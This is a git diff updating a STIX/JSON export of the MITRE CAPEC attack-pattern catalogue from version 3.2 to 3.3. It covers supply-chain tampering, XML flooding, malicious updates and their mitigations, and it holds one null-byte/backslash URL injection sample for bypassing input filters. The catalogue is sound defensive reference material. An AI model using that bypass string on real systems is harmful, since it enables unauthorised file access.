"attack-pattern--7e2a629f-eb4d-4cc9-b086-42c7395b2c3e" }, { + "id": "attack-pattern--a2328e82-460e-4de6-a459-7005de7befe4", "name": "Counterfeit Hardware Component Inserted During Product Assembly", "description": "An attacker with either direct access to the product assembly process or to the supply of subcomponents used in the product assembly process introduces counterfeit hardware components into product assembly. The assembly containing the counterfeit components results in a system specifically designed for malicious purposes.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -31338,11 +33549,11 @@ "A manufacturer of a firewall system requires a hardware card which functions as a multi-jack ethernet card with four ethernet ports. The attacker constructs a counterfeit card that functions normally except that packets from the attacker's network are allowed to bypass firewall processing completely. Once deployed at a victim location, this allows the attacker to bypass the firewall unrestricted." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--a2328e82-460e-4de6-a459-7005de7befe4" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--57b78312-1077-4e31-b3a2-5efb96a6c817", "name": "Hardware Design Specifications Are Altered", "description": "An attacker with access to a manufacturer's hardware manufacturing process documentation alters the design specifications, which introduces flaws advantageous to the attacker once the system is deployed.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -31378,11 +33589,11 @@ "To operate at full capability, a manufacturer's network intrusion detection device needs to have either a Intel Xeon E7-2820 or AMD FX-8350 which have 8 \"cores\" available, allowing for advanced threading needed to handle large volumes of network traffic without resorting to dropping packets from the detection process. The attacker alters the documentation to state that the system design must use the Intel Core Duo or the AMD Phenom II X2, which only have 2 cores, causing the system to drop large amounts of packets during deployment at a victim site with large amounts of network traffic." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--57b78312-1077-4e31-b3a2-5efb96a6c817" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--556f08be-d926-448c-b2c2-88a817a170a4", "name": "Malicious Hardware Component Replacement", "description": "An attacker replaces legitimate hardware in the system with faulty counterfeit or tampered hardware in the supply chain distribution channel, with purpose of causing malicious disruption or allowing for additional compromise when the system is deployed.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -31417,11 +33628,11 @@ "During shipment the attacker is able to intercept a system that has been purchased by the victim, and replaces a math processor card that functions just like the original, but contains advanced malicious capability. Once deployed, the system functions as normal, but allows for the attacker to remotely communicate with the system and use it as a conduit for additional compromise within the victim's environment." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--556f08be-d926-448c-b2c2-88a817a170a4" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--02570621-96aa-4525-b782-8e3939affac3", "name": "Malicious Software Implanted", "description": "An attacker implants malicious software into the system in the supply chain distribution channel, with purpose of causing malicious disruption or allowing for additional compromise when the system is deployed.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -31429,7 +33640,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -31456,11 +33667,11 @@ "An attacker has created a piece of malicious software designed to function as a backdoor in a system that is to be deployed at the victim location. During shipment of the system, the attacker has physical access to the system at a loading dock of an integrator for a short time. The attacker unpacks and powers up the system and installs the malicious piece of software, and configures it to run upon system boot. The system is repackaged and returned to its place on the loading dock, and is shipped and installed at the victim location with the malicious software in place, allowing the attacker to bypass firewalls and remotely gain access to the victim's network for further malicious activities." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--02570621-96aa-4525-b782-8e3939affac3" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--f17dd173-6fcf-4f43-8f72-0f274dde5fc5", "name": "Rogue Integration Procedures", "description": "An attacker alters or establishes rogue processes in an integration facility in order to insert maliciously altered components into the system. The attacker would then supply the malicious components. This would allow for malicious disruption or additional compromise when the system is deployed.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -31468,7 +33679,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -31495,11 +33706,11 @@ "An attacker gains access to a system integrator's documentation for the preparation of purchased systems designated for deployment at the victim's location. As a part of the preparation, the included 100 megabit network card is to be replaced with a 1 gigabit network card. The documentation is altered to reflect the type of 1 gigabit network card to use, and the attacker ensures that this type of network card is provided by the attacker's own supply. The card has additional malicious functionality which will allow for additional compromise by the attacker at the victim location once the system is deployed." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--f17dd173-6fcf-4f43-8f72-0f274dde5fc5" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--ad3913be-6ca6-48e6-9e3b-7b67e4162612", "name": "XML Flood", "description": "An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing. XDoS is most closely associated with web services, SOAP, and Rest, because remote service requesters can post malicious XML payloads to the service provider designed to exhaust the service provider's memory, CPU, and/or disk space. The main weakness in XDoS is that the service provider generally must inspect, parse, and validate the XML messages to determine routing, workflow, security considerations, and so on. It is exactly these inspection, parsing, and validation routines that XDoS targets. This attack exploits the loosely coupled nature of web services, where the service provider has little to no control over the service requester and any messages the service requester sends.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -31507,7 +33718,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -31518,6 +33729,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/770.html", "external_id": "CWE-770" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:Service Exhaustion Flood", + "url": "https://attack.mitre.org/wiki/Technique/T1499/002", + "external_id": "T1499.002" } ], "x_capec_alternate_terms": [ @@ -31541,38 +33758,41 @@ "x_capec_example_instances": [ "Consider the case of attack performed against the createCustomerBillingAccount Web Service for an online store. In this case, the createCustomerBillingAccount Web Service receives a huge number of simultaneous requests, containing nonsense billing account creation information (the small XML messages). The createCustomerBillingAccount Web Services may forward the messages to other Web Services for processing. The application suffers from a high load of requests, potentially leading to a complete loss of availability the involved Web Service." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the target: Using a browser or an automated tool, an attacker records all instance of web services to process XML requests.

    2. Techniques
    Use an automated tool to record all instances of URLs to process XML requests.
    Use a browser to manually explore the website and analyze how the application processes XML requests.

Experiment

  1. An adversary crafts input data that may have an adverse effect on the operation of the web service when the XML data sent to the service.

Exploit

  1. Launch a resource depletion attack: The attacker delivers a large number of XML messages to the target URLs found in the explore phase at a sufficiently rapid rate. It causes denial of service to the target application.

    2. Techniques
    Send a large number of crafted XML messages to the target URL.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--ad3913be-6ca6-48e6-9e3b-7b67e4162612" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--90c77905-bef0-451f-b726-1225d30da2de", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--90c77905-bef0-451f-b726-1225d30da2de", "source_ref": "course-of-action--098aadf6-648b-4c3a-bbf9-224e6bd430fd", "relationship_type": "mitigates", "target_ref": "attack-pattern--ad3913be-6ca6-48e6-9e3b-7b67e4162612" }, { + "id": "relationship--56794f75-72f9-4d9c-8fe4-a17e9e46b6c5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--56794f75-72f9-4d9c-8fe4-a17e9e46b6c5", "source_ref": "course-of-action--ba0208fb-20e5-4c4f-9a93-d5d806d038e6", "relationship_type": "mitigates", "target_ref": "attack-pattern--ad3913be-6ca6-48e6-9e3b-7b67e4162612" }, { + "id": "attack-pattern--6f7f4589-3abb-4aa8-ac80-1a6715d75a8b", "name": "Malware-Directed Internal Reconnaissance", "description": "Adversary uses malware or a similarly controlled application installed inside an organizational perimeter to gather information about the composition, configuration, and security mechanisms of a targeted application, system or network.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -31580,7 +33800,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -31606,19 +33826,19 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--6f7f4589-3abb-4aa8-ac80-1a6715d75a8b" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--7dcaa766-8fbb-4cf2-9d26-1cb5b3739b11", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--7dcaa766-8fbb-4cf2-9d26-1cb5b3739b11", "source_ref": "course-of-action--a7d31992-837d-4b43-91fb-5fd7cffc161b", "relationship_type": "mitigates", "target_ref": "attack-pattern--6f7f4589-3abb-4aa8-ac80-1a6715d75a8b" @@ -31626,29 +33846,32 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-529-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Identify programs that may be used to acquire peripheral information and block them by using a software restriction policy or tools that restrict program execution by process whitelisting.", + "description": "Identify programs that may be used to acquire peripheral information and block them by using a software restriction policy or tools that restrict program execution by using a process allowlist.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--8ec791fe-a36a-4b9c-9c52-2f867c466c2f" + "id": "course-of-action--a2404315-1d87-4e47-a8e4-c6b2cfe457d8" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5051d3c9-55e2-4a0b-bc5d-2d0036fe2b3b", - "source_ref": "course-of-action--8ec791fe-a36a-4b9c-9c52-2f867c466c2f", + "id": "relationship--a65abf1a-adf4-4c4d-9dbb-1ad3f3be601b", + "source_ref": "course-of-action--a2404315-1d87-4e47-a8e4-c6b2cfe457d8", "relationship_type": "mitigates", "target_ref": "attack-pattern--6f7f4589-3abb-4aa8-ac80-1a6715d75a8b" }, { + "id": "attack-pattern--abcb5f5a-ead2-47e3-b3cf-1e493ca049e9", "name": "Postfix, Null Terminate, and Backslash", "description": "If a string is passed through a filter of some kind, then a terminal NULL may not be valid. Using alternate representation of NULL allows an attacker to embed the NULL mid-string while postfixing the proper data so that the filter is avoided. One example is a filter that looks for a trailing slash character. If a string insertion is possible, but the slash must exist, an alternate encoding of NULL in mid-string may be used.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -31656,7 +33879,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -31736,32 +33959,34 @@ "x_capec_example_instances": [ "\n A rather simple injection is possible in a URL:\n http://getAccessHostname/sekbin/helpwin.gas.bat?mode=&draw=x&file=x&module=&locale=[insert relative path here][%00][%5C]&chapter=\n This attack has appeared with regularity in the wild. There are many variations of this kind of attack. Spending a short amount of time injecting against Web applications will usually result in a new exploit being discovered.\n " ], + "x_capec_execution_flow": "

Execution Flow

Experiment

  1. An attacker first probes to figure out what restrictions on input are placed by filter, such as a specific characters on the end of the URL.

Exploit

  1. The attacker then injects a string of their choosing with a null terminator (using an alternate encoding such as %00), followed by a backslash (%5C), followed by some additional characters that are required to keep the filter happy

  2. \n The malicious string then passes through the filter and passed to the underlying API. Everything after the null terminator is ignored. This may give an attacker the opportunity to access file system resources to which they should not have access and do other things.\n Some popular forms in which this takes place:\n PATH%00%5CPATH[0x00][0x5C]PATH[alternate encoding of the NULL][additional characters required to pass filter]\n

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--abcb5f5a-ead2-47e3-b3cf-1e493ca049e9" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--49efb31f-83a6-4f63-9415-6e82bf0893c2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-53-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Properly handle Null characters. Make sure canonicalization is properly applied. Do not pass Null characters to the underlying APIs.", - "type": "course-of-action", - "id": "course-of-action--49efb31f-83a6-4f63-9415-6e82bf0893c2" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--4b7d2bed-d8be-4a5d-8206-5c90b09eb190", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--4b7d2bed-d8be-4a5d-8206-5c90b09eb190", "source_ref": "course-of-action--49efb31f-83a6-4f63-9415-6e82bf0893c2", "relationship_type": "mitigates", "target_ref": "attack-pattern--abcb5f5a-ead2-47e3-b3cf-1e493ca049e9" @@ -31769,17 +33994,19 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--bbec94db-8d12-4390-8764-a39bca2417e8", - "source_ref": "course-of-action--6e1f571f-420f-43a6-aaf3-cc53394f7b97", + "id": "relationship--eebe9446-5ca8-4441-ae14-9baa42c6bf1a", + "source_ref": "course-of-action--523a56cb-eaa5-451a-8ba9-f85b37fad844", "relationship_type": "mitigates", "target_ref": "attack-pattern--abcb5f5a-ead2-47e3-b3cf-1e493ca049e9" }, { + "id": "attack-pattern--b217a941-e854-468d-921b-beeba3c73a98", "name": "Provide Counterfeit Component", "description": "An attacker provides a counterfeit component during the procurement process of a lower-tier component supplier to a sub-system developer or integrator, which is then built into the system being upgraded or repaired by the victim, allowing the attacker to cause disruption or additional compromise.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -31814,11 +34041,11 @@ "The attacker, aware that the victim has contracted with an integrator for system maintenance and that the integrator uses commercial-off-the-shelf network hubs, develops their own network hubs with a built-in malicious capability for remote access, the malicious network hubs appear to be a well-known brand of network hub but are not. The attacker then advertises to the sub-system integrator that they are a legit supplier of network hubs, and offers them at a reduced price to entice the integrator to purchase these network hubs. The integrator then installs the attacker's hubs at the victim's location, allowing the attacker to remotely compromise the victim's network." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--b217a941-e854-468d-921b-beeba3c73a98" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--fda936c1-236d-4460-a5a9-4555d9583b2e", "name": "Hardware Component Substitution", "description": "An attacker substitutes out a tested and approved hardware component for a maliciously-altered hardware component. This type of attack is carried out directly on the system, enabling the attacker to then cause disruption or additional compromise.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -31847,11 +34074,11 @@ "An attacker has access to an organization's warehouse of card readers being included as a part of an overall security system. By replacing a critical hardware component in the card reader, the attacker is able to alter the function of the card reader to allow an attacker-supplied card to bypass a security checkpoint. The card reader is placed in the warehouse, and later used in the victim's security system. The attacker is then able to go to the victim and use their own card and bypass a physical security checkpoint and gain access to the victim's location for further malicious activity." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--fda936c1-236d-4460-a5a9-4555d9583b2e" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--51d000d6-11a0-461b-98e7-8550beac027b", "name": "Altered Installed BIOS", "description": "An attacker with access to download and update system software sends a maliciously altered BIOS to the victim or victim supplier/integrator, which when installed allows for future exploitation.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -31859,13 +34086,19 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/532.html", "external_id": "CAPEC-532" }, + { + "source_name": "ATTACK", + "description": "Pre-OS Boot:System Firmware", + "url": "https://attack.mitre.org/wiki/Technique/T1542/001", + "external_id": "T1542.001" + }, { "source_name": "reference_from_CAPEC", "description": "John F. Miller, Supply Chain Attack Framework and Attack Patterns, 2013, The MITRE Corporation", @@ -31888,19 +34121,19 @@ "An attacker compromises the download and update portion of a manufacturer's web presence, and develops a malicious BIOS that in addition to the normal functionality will also at a specific time of day disable the remote access subsystem's security checks. The malicious BIOS is put in place on the manufacturer's website, the victim location is sent an official-looking email informing the victim of the availability of a new BIOS with bug fixes and enhanced performance capabilities to entice the victim to install the new BIOS quickly. The malicious BIOS is downloaded and installed on the victim's system, which allows for additional compromise by the attacker." ], "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--51d000d6-11a0-461b-98e7-8550beac027b" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--83c7d2ff-f74e-471b-bd10-28421e818719", "name": "Malicious Manual Software Update", - "description": "An attacker introduces malicious code to the victim's system by altering the payload of a software update, allowing for additional compromise or site disruption at the victim location. These manual, or user-assisted attacks, vary from requiring the user to download and run an executable, to as streamlined as tricking the user to click a URL. Attacks which aim at penetrating a specific network infrastructure often rely upon secondary attack methods to achieve the desired impact. Spamming, for example, is a common method employed as an secondary attack vector. Thus the attacker has in his or her arsenal a choice of initial attack vectors ranging from traditional SMTP/POP/IMAP spamming and its varieties, to web-application mechanisms which commonly implement both chat and rich HTML messaging within the user interface.", + "description": "An attacker introduces malicious code to the victim's system by altering the payload of a software update, allowing for additional compromise or site disruption at the victim location. These manual, or user-assisted attacks, vary from requiring the user to download and run an executable, to as streamlined as tricking the user to click a URL. Attacks which aim at penetrating a specific network infrastructure often rely upon secondary attack methods to achieve the desired impact. Spamming, for example, is a common method employed as an secondary attack vector. Thus the attacker has in their arsenal a choice of initial attack vectors ranging from traditional SMTP/POP/IMAP spamming and its varieties, to web-application mechanisms which commonly implement both chat and rich HTML messaging within the user interface.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -31924,11 +34157,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--83c7d2ff-f74e-471b-bd10-28421e818719" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--a79f5cc6-781c-4e49-a00e-7aae93718f9e", "name": "Malicious Hardware Update", "description": "An adversary introduces malicious hardware during an update or replacement procedure, allowing for additional compromise or site disruption at the victim location. After deployment, it is not uncommon for upgrades and replacements to occur involving hardware and various replaceable parts. These upgrades and replacements are intended to correct defects, provide additional features, and to replace broken or worn-out parts. However, by forcing or tricking the replacement of a good component with a defective or corrupted component, an adversary can leverage known defects to obtain a desired malicious impact.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -31960,11 +34193,11 @@ "An adversary develops a malicious networking card that allows for normal function plus the addition of malicious functionality that is of benefit to the adversary. The adversary sends the victim an email stating that the existing networking card is faulty, and that the victim can order a replacement card free of charge. The victim orders the card, and the adversary sends the malicious networking card. The malicious networking card replaces the perfectly-functioning original networking card, and the adversary is able to take advantage of the additional malicious functionality to further compromise the victim's network." ], "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--a79f5cc6-781c-4e49-a00e-7aae93718f9e" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--cd81f98a-aa72-4331-a7dd-5f9cd92332e2", "name": "Malicious Gray Market Hardware", "description": "An attacker maliciously alters hardware components that will be sold on the gray market, allowing for victim disruption and compromise when the victim needs replacement hardware components for systems where the parts are no longer in regular supply from original suppliers, or where the hardware components from the attacker seems to be a great benefit from a cost perspective.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -31999,11 +34232,11 @@ "An attacker develops co-processor boards with malicious capabilities that are technically the same as a manufacturer's expensive upgrade to their flagship system. The victim has installed the manufacturer's base system without the expensive upgrade. The attacker contacts the victim and states they have the co-processor boards at a drastically-reduced price, falsely stating they were acquired from a bankruptcy liquidation of a company that had purchased them from the manufacturer. The victim after hearing the drastically reduced price decides to take advantage of the situation and purchases the upgrades from the attacker, and installs them. This allows the attacker to further compromise the victim." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--cd81f98a-aa72-4331-a7dd-5f9cd92332e2" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--be032a5f-7575-4e82-86d8-6c5cabb3d9dd", "name": "Data Injected During Configuration", "description": "An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -32011,7 +34244,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -32044,36 +34277,38 @@ "An adversary wishes to bypass a security system to access an additional network segment where critical data is kept. The adversary knows that some configurations of the security system will allow for remote bypass under certain conditions, such as switching a specific parameter to a different value. The adversary knows the bypass will work but also will be detected within the logging data of the security system. The adversary waits until an upgrade is performed to the security system by the victim's system administrators, and the adversary has access to an external logging system. The adversary injects false log entries that cause the administrators to think there are two different error states within the security system - one involving the specific parameter and the other involving the logging entries. The specific parameter is adjusted to a different value, and the logging level is reduced to a lower level that will not cause an adversary bypass to be detected. The adversary stops injecting false log data, and the administrators of the security system believe the issues were caused by the upgrade and are now resolved. The adversary is then able to bypass the security system." ], "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--be032a5f-7575-4e82-86d8-6c5cabb3d9dd" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--5a991a71-810a-4fb9-ba49-7ad88b6ccca5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-536-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure that proper access control is implemented on all systems to prevent unauthorized access to system files and processes.", - "type": "course-of-action", - "id": "course-of-action--5a991a71-810a-4fb9-ba49-7ad88b6ccca5" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--bb32fca6-85ac-4fed-ab7a-d07e0bf5d9bb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--bb32fca6-85ac-4fed-ab7a-d07e0bf5d9bb", "source_ref": "course-of-action--5a991a71-810a-4fb9-ba49-7ad88b6ccca5", "relationship_type": "mitigates", "target_ref": "attack-pattern--be032a5f-7575-4e82-86d8-6c5cabb3d9dd" }, { + "id": "attack-pattern--7fb3fea4-e993-49f7-8c36-d58dd5038ad8", "name": "Infiltration of Hardware Development Environment", "description": "An attacker, leveraging the ability to manipulate components of primary support systems and tools within the development and production environments, inserts malicious software within the hardware and/or firmware development environment. The infiltration purpose is to alter developed hardware components in a system destined for deployment at the victim's organization, for the purpose of disruption or further compromise.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -32116,11 +34351,11 @@ "The attacker, knowing the manufacturer runs email on a system adjacent to the hardware development systems used for hardware and/or firmware design, sends a phishing email with a malicious attachment to the manufacturer. When viewed, the malicious attachment installs a backdoor that allows the attacker to remotely compromise the adjacent hardware development system from the manufacturer's workstation. The attacker is then able to exfiltrate and alter sensitive data on the hardware system, allowing for future compromise once the developed system is deployed at the victim location." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--7fb3fea4-e993-49f7-8c36-d58dd5038ad8" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--ca626464-877a-4f42-83b7-7451cfe71a38", "name": "Open Source Libraries Altered", "description": "An attacker with access to an open source code project (OSS) and knowledge of its particular use for in a system being developed, manufactured, or supported for the victim, can insert malicious code into the open source software used for math libraries in anticipation of inclusion into the system for the purpose of disruption or further compromise within the victim organization.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -32154,12 +34389,13 @@ "x_capec_example_instances": [ "An attacker with access to an open source code project introduces a hard-to-find bug in the software that allows under very specific conditions for encryption to be disabled on data streams. The attacker commits the change to the code which is picked up by a manufacturer who develops VPN software. It is eventually deployed at the victim's location where the very specific conditions are met, and the attacker is able to sniff plaintext traffic thought to be encrypted, allowing the attacker to gain access to sensitive data of the victim." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine the relevent open-source code project to target: The adversary will make the selection based on various criteria:

Experiment

  1. Develop a malicious contribution plan: The adversary develops a plan to contribute the malicious code, taking the following into consideration:

Exploit

  1. Execute the malicious contribution plan: Write the code to be contributed based on the plan and then submit the contribution. Multiple commits, possibly using multiple identities, will help obscure the attack. Monitor the contribution site to try to determine if the code has been uploaded to the target system.

